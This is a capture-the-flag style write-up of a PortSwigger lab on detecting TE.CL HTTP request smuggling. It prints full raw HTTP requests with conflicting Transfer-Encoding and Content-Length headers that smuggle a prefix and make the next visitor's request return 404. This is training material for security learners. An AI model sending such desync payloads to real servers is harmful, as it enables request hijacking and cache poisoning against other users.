| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | HTTP Request Smuggling — TE.CL Detection |
| Difficulty | Practitioner |
| Objective | Smuggle a request prefix that causes the next GET / to return 404 |
| Note | Switch Burp Repeater to HTTP/1 manually. Disable "Update Content-Length." |
HTTP Request Smuggling — Confirming TE.CL via Differential Responses — Writeup¶
Initial Observation¶
Same setup as the CL.TE lab — intercept a request, Repeater → HTTP/1, POST method, disable "Update Content-Length", enable non-printable characters. The base request:
POST / HTTP/1.1
Host: 0af7003b0408aef580ccfd49003200bb.web-security-academy.net
Understanding the TE.CL Setup¶
This time it's the opposite configuration: the front-end uses Transfer-Encoding and the back-end uses Content-Length.
Adding Transfer-Encoding: chunked and sending a valid chunked body works fine:
POST / HTTP/1.1
Host: 0af7003b0408aef580ccfd49003200bb.web-security-academy.net
Transfer-Encoding: chunked
4
teto
0
The front-end processes the chunked encoding and forwards the request. The back-end uses Content-Length — since there's no Content-Length header, it reads what it gets and processes it.
Triggering the Desync¶
Adding both headers:
Transfer-Encoding: chunked
Content-Length: 13
With Content-Length: 17 — more bytes than the chunked body provides — the back-end waits for extra bytes that the front-end already considers sent and done. That causes a read timeout:
Timeout confirmed — the back-end is waiting for more data that the front-end already finished sending. The desync is real.
Building the Smuggled Prefix¶
In TE.CL, the smuggled content sits inside the chunked body — in a chunk that the front-end forwards but the back-end's Content-Length doesn't account for.
The structure:
Content-Length: 4 ← back-end reads only 4 bytes: the chunk size line
Transfer-Encoding: chunked
<chunk-size-in-hex> ← front-end processes this chunk normally
POST /miku HTTP/1.1 ← smuggled prefix inside the chunk
Content-Length: <n> ← needed for the smuggled request
← blank line
teto=teto ← body of smuggled request
0 ← chunked terminator
The back-end reads Content-Length: 4 — takes only the first 4 bytes (the chunk size line), then treats everything after as a new request. The front-end sees chunked encoding, forwards the entire thing.
The chunk containing the smuggled prefix is 0x34 (52 decimal) bytes. First attempt with exact counts:
POST / HTTP/1.1
Host: 0af7003b0408aef580ccfd49003200bb.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
34
POST /miku HTTP/1.1
Content-Length: 16
teto=teto
0
Send and refresh — no 404 yet. The inner Content-Length: 16 exactly matches the body, so the back-end considers the smuggled request complete and processes it immediately without waiting for the next real request to append.
The fix: inflate the inner Content-Length to 19 — makes the back-end think the smuggled request's body is longer than it is. When the next real request comes in on the connection, the back-end appends it to the smuggled request body. That mangled combined request hits /miku which doesn't exist:
POST / HTTP/1.1
Host: 0af7003b0408aef580ccfd49003200bb.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4
34
POST /miku HTTP/1.1
Content-Length: 19
teto=teto
0
Send, then refresh the browser:
404 Not Found. and this will get the lab solved :o
Resources¶
- PortSwigger — HTTP Request Smuggling, TE.CL
- PortSwigger — Finding HTTP Request Smuggling Vulnerabilities
- PortSwigger — HTTP Request Smuggling
- Burp Suite Professional — Repeater (HTTP/1, Content-Length disabled)